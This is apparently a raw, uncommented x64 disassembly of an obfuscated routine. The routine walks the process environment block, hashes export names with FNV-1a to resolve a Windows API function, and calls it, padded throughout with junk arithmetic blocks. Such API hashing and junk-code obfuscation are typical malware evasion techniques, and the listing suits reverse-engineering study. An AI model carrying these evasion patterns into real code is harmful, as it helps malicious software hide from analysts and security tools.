mov r9d, 0x62eeafb2
pushf
not r9d
add r9d, 0x970937e7
xor r9d, 0xc367ed21
rol r9d, 0x5a
popf
pushf
not r9d
add r9d, 0x9f718ac4
xor r9d, 0xec5a09a6
rol r9d, 0x20
popf
pushf
not r9d
add r9d, 0xeeb92966
xor r9d, 0xc2ef8cdc
rol r9d, 3
popf
mov r8d, 0x8552076e
pushf
not r8d
add r8d, 0xd97d08ce
xor r8d, 0xb533873f
rol r8d, 0x1b
popf
pushf
not r8d
add r8d, 0xa85211a7
xor r8d, 0xa1454d73
rol r8d, 0x5a
popf
mov edx, eax
xor ecx, ecx
jmp 0x140059ea5
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x288], rax
mov rax, qword [rsp + 0x70]
mov eax, dword [rax + 0x10]
mov rcx, qword [rsp + 0x70]
mov ecx, dword [rcx + 0xc]
mov rdx, qword [rsp + 0x78]
push rcx
not rcx
sub rdx, rcx
pop rcx
sub rdx, 1
mov rcx, rdx
mov r8d, 0x274bf82c
pushf
not r8d
add r8d, 0x9145145e
xor r8d, 0xf07c4374
rol r8d, 0x8d
popf
pushf
not r8d
add r8d, 0x81b7f687
xor r8d, 0xddcf4356
rol r8d, 0x67
popf
mov edx, eax
call fcn.140161ab2
mov rax, qword [rsp + 0x48]
mov eax, dword [rax + 0x10]
mov rcx, qword [rsp + 0x70]
mov ecx, dword [rcx + 0xc]
mov rdx, qword [rsp + 0x78]
push rcx
not rcx
sub rdx, rcx
pop rcx
sub rdx, 1
mov rcx, rdx
mov r8d, eax
mov rdx, qword [rsp + 0x288]
call fcn.140081885
mov r8d, 0x40084c00
pushf
not r8d
add r8d, 0xc7e2c0f8
xor r8d, 0xe844a7cb
rol r8d, 0xc9
popf
pushf
not r8d
add r8d, 0x9512c364
xor r8d, 0xe7fc4e2e
rol r8d, 0x4f
popf
pushf
not r8d
add r8d, 0xc0fcef66
xor r8d, 0x9c2714ad
rol r8d, 0x54
popf
pushf
not r8d
add r8d, 0xdc2fc878
xor r8d, 0xa12d806f
rol r8d, 0xe2
popf
xor edx, edx
mov rcx, qword [rsp + 0x288]
jmp 0x140059fbf
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [rsp + 0x1c0], 0x3e8
mov rax, qword [rsp + 0x430]
mov qword [rsp + 0x220], rax
mov rax, qword gs:[0x60]
mov qword [rsp + 0x3b8], rax
mov rax, qword [rsp + 0x3b8]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x3c0], rax
mov rax, qword [rsp + 0x3c0]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x3c8], rax
mov rax, qword [rsp + 0x3c8]
mov qword [rsp + 0x218], rax
push rax
pushf
mov eax, 0x1f38fffe
pushf
not eax
add eax, 0x9b887b3f
xor eax, 0xa75f535d
rol eax, 0x79
popf
pushf
not eax
add eax, 0x93da621d
xor eax, 0x982441d4
rol eax, 0xc2
popf
jmp 0x140055209
mov rax, qword [rsp + 0x218]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x100], rax
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0x110], rax
mov rax, qword [rsp + 0x100]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x100]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov qword [rsp + 0x3d0], rax
mov eax, 0xd5d8b6eb
pushf
not eax
add eax, 0x932a64f4
xor eax, 0xc3b9e2f6
rol eax, 0xc1
popf
pushf
not eax
add eax, 0xe3ee84e9
xor eax, 0xe61deeec
rol eax, 0x19
popf
imul rax, rax, 0
mov rcx, qword [rsp + 0x3d0]
mov rax, qword [rcx + rax + 0x88]
mov qword [rsp + 0x290], rax
mov eax, dword [rsp + 0x290]
mov rcx, qword [rsp + 0x100]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov qword [rsp + 0x118], rax
mov eax, dword [rsp + 0x294]
mov dword [rsp + 0x120], eax
mov rax, qword [rsp + 0x110]
cmp qword [rsp + 0x118], rax
je 0x14005a16b
push rax
pushf
mov eax, 0x41e750b2
pushf
not eax
add eax, 0xafb9926b
xor eax, 0x8b5231a4
rol eax, 0xd1
popf
pushf
not eax
add eax, 0xbdf5a5fa
xor eax, 0xddbbd969
rol eax, 0x9e
popf
jmp 0x140055209
push rax
pushf
mov eax, 0xa2dc984c
pushf
not eax
add eax, 0xd9f48e33
xor eax, 0xa424a766
rol eax, 0xf2
popf
pushf
not eax
add eax, 0x8149bc4a
xor eax, 0x935779ac
rol eax, 0x5c
popf
pushf
not eax
add eax, 0xf9551deb
xor eax, 0xb2c25c55
rol eax, 0x6b
popf
pushf
not eax
add eax, 0x9ff75913
xor eax, 0xc5f61627
rol eax, 0x25
popf
jmp 0x140055209
mov dword [rsp + 0xb8], 1
jmp 0x14005a26b
mov dword [rsp + 0xb8], 0
push rax
pushf
mov eax, 0xec4c52d5
pushf
not eax
add eax, 0xb860dfe5
xor eax, 0x9b341d50
rol eax, 0xb4
popf
pushf
not eax
add eax, 0x866ccefc
xor eax, 0x80775a92
rol eax, 0xfc
popf
jmp 0x140055209
movzx eax, byte [rsp + 0xb8]
mov byte [rsp + 0x3d], al
movzx eax, byte [rsp + 0x3d]
test eax, eax
je 0x14005a2dd
push rax
pushf
mov eax, 0xe577c7f0
pushf
not eax
add eax, 0x80f616c2
xor eax, 0xe6309b43
rol eax, 0xef
popf
pushf
not eax
add eax, 0xbc954760
xor eax, 0xf12a2492
rol eax, 0x3b
popf
pushf
not eax
add eax, 0x98f429eb
xor eax, 0xd3f01e5e
rol eax, 0xf5
popf
pushf
not eax
add eax, 0xcb4952eb
xor eax, 0xf064cf4e
rol eax, 0xd1
popf
jmp 0x140055209
push rax
pushf
mov eax, 0x66f64cc1
pushf
not eax
add eax, 0xdc99b1e0
xor eax, 0xb66e43d3
rol eax, 0x33
popf
pushf
not eax
add eax, 0xd8c1d784
xor eax, 0xd60512af
rol eax, 0x18
popf
pushf
not eax
add eax, 0x90af3d85
xor eax, 0x86fe3093
rol eax, 0x1e
popf
pushf
not eax
add eax, 0x86a94144
xor eax, 0xaf380bad
rol eax, 2
popf
jmp 0x140055209
mov rax, qword [rsp + 0x118]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x1b4], eax
mov eax, dword [rsp + 0x58]
jmp 0x14005a355
dec eax
mov dword [rsp + 0x58], eax
cmp dword [rsp + 0x1b4], 0
je 0x14005a3c2
push rax
pushf
mov eax, 0x333cfa20
pushf
not eax
add eax, 0xf011ba51
xor eax, 0xc3d70dc2
rol eax, 0x43
popf
pushf
not eax
add eax, 0xea481ee0
xor eax, 0xb0d88d34
rol eax, 0xb6
popf
pushf
not eax
add eax, 0xbb0afc45
xor eax, 0xe3dbd4cc
rol eax, 0xfc
popf
pushf
not eax
add eax, 0xbb6b6f21
xor eax, 0xab795005
rol eax, 0x20
popf
jmp 0x140055209
push rax
pushf
mov eax, 0xdd3f6790
pushf
not eax
add eax, 0xfd338d2a
xor eax, 0x9c10d545
rol eax, 0x44
popf
pushf
not eax
add eax, 0xa3ad6d90
xor eax, 0xf24ada22
rol eax, 0x96
popf
pushf
not eax
add eax, 0xe20b38f5
xor eax, 0xe8fc4de4
rol eax, 0xc7
popf
pushf
not eax
add eax, 0xda3d7d80
xor eax, 0xac5a61bf
rol eax, 0xce
popf
jmp 0x140055209
mov eax, dword [rsp + 0x400]
mov dword [rsp + 0xbc], eax
movabs rax, 0x7a9932affde8406a
pushf
not rax
add rax, 0x68e1a2f2
xor rax, 0x671016e8
rol rax, 0x10
popf
pushf
not rax
add rax, 0x520b1910
xor rax, 0x4700e67f
rol rax, 0xf8
popf
shr rax, 0x20
mov dword [rsp + 0xbc], eax
mov rax, qword [rsp + 0x438]
mov qword [rsp + 0x298], rax
mov rax, qword [rsp + 0x118]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0x110]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov ecx, dword [rsp + 0x58]
mov eax, dword [rax + rcx*4]
add rax, qword [rsp + 0x110]
mov qword [rsp + 0x298], rax
movabs rax, 0xbdaebac6780d48e6
pushf
not rax
add rax, 0x41d2222e
xor rax, 0x63cf74c0
rol rax, 0x4c
popf
pushf
not rax
add rax, 0x5c7ff99f
xor rax, 0x458ab04f
rol rax, 0x47
popf
mov ecx, 0x55f18400
pushf
not ecx
add ecx, 0xe9e1440a
xor ecx, 0xe637cf18
rol ecx, 0xca
popf
pushf
not ecx
add ecx, 0xd3d096ec
xor ecx, 0x8c6baeeb
rol ecx, 0xfb
popf
and rax, rcx
mov dword [rsp + 0x1b8], eax
mov rax, qword [rsp + 0x298]
mov qword [rsp + 0x210], rax
mov eax, dword [rsp + 0xbc]
mov dword [rsp + 0x94], eax
mov rax, qword [rsp + 0x210]
movzx eax, byte [rax]
mov byte [rsp + 0x3e], al
mov rax, qword [rsp + 0x210]
inc rax
mov qword [rsp + 0x210], rax
movzx eax, byte [rsp + 0x3e]
mov byte [rsp + 0x33], al
movsx eax, byte [rsp + 0x33]
test eax, eax
jne 0x14005a5ab
push rax
pushf
mov eax, 0x7117229c
pushf
not eax
add eax, 0xeaa14c2b
xor eax, 0x8316750d
rol eax, 4
popf
pushf
not eax
add eax, 0xf890e316
xor eax, 0xeacb1ad7
rol eax, 6
popf
jmp 0x140055209
push rax
pushf
mov eax, 0x11301976
pushf
not eax
add eax, 0x8add5960
xor eax, 0xebebaf49
rol eax, 0xa7
popf
pushf
not eax
add eax, 0xdcd3ab74
xor eax, 0x8d5f1734
rol eax, 0x65
popf
pushf
not eax
add eax, 0xd05b5193
xor eax, 0x93821e51
rol eax, 0xb4
popf
pushf
not eax
add eax, 0xef9d11ca
xor eax, 0xf5c2ac81
rol eax, 0xe3
popf
jmp 0x140055209
mov eax, dword [rsp + 0x94]
mov dword [rsp + 0x1bc], eax
jmp 0x14005a7e2
xor eax, eax
test eax, eax
je 0x14005a6bc
push rax
pushf
mov eax, 0x134d59c8
pushf
not eax
add eax, 0x86d73426
xor eax, 0x9e584d6f
rol eax, 0xcf
popf
pushf
not eax
add eax, 0x8bb91d72
xor eax, 0xf18b71a1
rol eax, 0x29
popf
pushf
not eax
add eax, 0xebbdd32c
xor eax, 0xa1093e52
rol eax, 0x30
popf
pushf
not eax
add eax, 0xd5d2a430
xor eax, 0xa938412f
rol eax, 4
popf
jmp 0x140055209
push rax
pushf
mov eax, 0x38053641
pushf
not eax
add eax, 0xd720051b
xor eax, 0xb0afd871
rol eax, 0x44
popf
pushf
not eax
add eax, 0xf85f2c6f
xor eax, 0xfcbdc1ec
rol eax, 0xe
popf
jmp 0x140055209
movsx eax, byte [rsp + 0x33]
or eax, 0x20
mov dword [rsp + 0xc0], eax
jmp 0x14005a788
movsx eax, byte [rsp + 0x33]
mov dword [rsp + 0xc0], eax
push rax
pushf
mov eax, 0x6bbc8e97
pushf
not eax
add eax, 0xfbb56c6a
xor eax, 0xd7484478
rol eax, 0x40
popf
pushf
not eax
add eax, 0xfe9b6a76
xor eax, 0xad68eeb7
rol eax, 0x33
popf
pushf
not eax
add eax, 0xe1f12a61
xor eax, 0xee1d464f
rol eax, 0x93
popf
jmp 0x140055209
mov eax, dword [rsp + 0xc0]
mov ecx, dword [rsp + 0x94]
xor ecx, eax
mov eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x94], eax
jmp 0x14005a544
mov eax, dword [rsp + 0x1b8]
cmp dword [rsp + 0x1bc], eax
jne 0x14005a84b
push rax
pushf
mov eax, 0xb0640a84
pushf
not eax
add eax, 0xab52536e
xor eax, 0xf8341593
rol eax, 0x8b
popf
pushf
not eax
add eax, 0x8d136305
xor eax, 0xfe122549
rol eax, 0x94
popf
pushf
not eax
add eax, 0xbb3c9d10
xor eax, 0xe2a251a7
rol eax, 0x1d
popf
pushf
not eax
add eax, 0xf9edeb77
xor eax, 0x85a0abc8
rol eax, 0x9e
popf
jmp 0x140055209
push rax
pushf
mov eax, 0x77e5a7aa
pushf
not eax
add eax, 0xc4907d91
xor eax, 0x87d7bb2c
rol eax, 0x21
popf
pushf
not eax
add eax, 0xb1de789e
xor eax, 0xa6825063
rol eax, 0x19
popf
pushf
not eax
add eax, 0x811a7817
xor eax, 0xd9a1b480
rol eax, 0xa8
popf
jmp 0x140055209
mov rax, qword [rsp + 0x118]
mov eax, dword [rax + 0x1c]
add rax, qword [rsp + 0x110]
mov qword [rsp + 0x3e0], rax
mov rax, qword [rsp + 0x118]
mov eax, dword [rax + 0x24]
add rax, qword [rsp + 0x110]
mov qword [rsp + 0x3d8], rax
mov eax, dword [rsp + 0x58]
mov rcx, qword [rsp + 0x3d8]
movzx eax, word [rcx + rax*2]
mov rcx, qword [rsp + 0x3e0]
mov eax, dword [rcx + rax*4]
add rax, qword [rsp + 0x110]
mov qword [rsp + 0x3e8], rax
mov rax, qword [rsp + 0x3e8]
mov qword [rsp + 0x220], rax
jmp 0x14005aaf4
jmp 0x14005a345
mov rax, qword [rsp + 0x218]
mov qword [rsp + 0x3f0], rax
mov rax, qword [rsp + 0x3f0]
mov rax, qword [rax]
mov qword [rsp + 0x3f8], rax
mov rax, qword [rsp + 0x3f8]
mov qword [rsp + 0x218], rax
mov byte [rsp + 0x3f], 1
movzx eax, byte [rsp + 0x3f]
test eax, eax
jne 0x14005aa49
push rax
pushf
mov eax, 0x8a49786e
pushf
not eax
add eax, 0x94521f3f
xor eax, 0x88d3f5ac
rol eax, 0x15
popf
pushf
not eax
add eax, 0x9dfca92b
xor eax, 0x8d1ee362
rol eax, 0x4c
popf
pushf
not eax
add eax, 0xe124be56
xor eax, 0xb63a95d6
rol eax, 0x3e
popf
jmp 0x140055209
push rax
pushf
mov eax, 0x8991d97d
pushf
not eax
add eax, 0xa8337085
xor eax, 0xdc23bc85
rol eax, 0x8f
popf
pushf
not eax
add eax, 0xf8490d0a
xor eax, 0xdefbd631
rol eax, 0xf8
popf
pushf
not eax
add eax, 0xa0304cad
xor eax, 0xf6c0e946
rol eax, 0x7f
popf
pushf
not eax
add eax, 0x9f40ec59
xor eax, 0xef274fa7
rol eax, 5
popf
jmp 0x140055209
mov qword [rsp + 0x220], 0
push rax
pushf
mov eax, 0xe8eb7b97
pushf
not eax
add eax, 0xe88eff87
xor eax, 0x98f93831
rol eax, 0x73
popf
pushf
not eax
add eax, 0xb7a76c4d
xor eax, 0x921b6039
rol eax, 0x96
popf
pushf
not eax
add eax, 0xf387e8a9
xor eax, 0x9ff4f0d4
rol eax, 0x36
popf
jmp 0x140055209
mov eax, dword [rsp + 0x1c0]
mov dword [rsp + 0x1c4], eax
mov ecx, dword [rsp + 0x1c4]
jmp 0x14005ab0a
call qword [rsp + 0x220]
push rax
pushf
mov eax, 0xa17a6652
pushf
not eax
add eax, 0xe537b51d
xor eax, 0xf255f84d
rol eax, 3
popf
pushf
not eax
add eax, 0x9c45c31f
xor eax, 0x87cc94fb
rol eax, 0xd
popf
pushf
not eax
add eax, 0xa7a1a2be
xor eax, 0xa264a194
rol eax, 0xd3
popf
pushf
not eax
add eax, 0x9610dfd2
xor eax, 0xde8b2dfb
rol eax, 0x46
popf
jmp 0x140055209
jmp 0x140059782
mov al, 0x2d
pushf
not al
add al, 0xe5
xor al, 0x7f
rol al, 0xa0
popf
pushf
not al
add al, 0xe2
xor al, 0x39
rol al, 0x93
popf
add rsp, 0x508
pop rdi
pop rsi
ret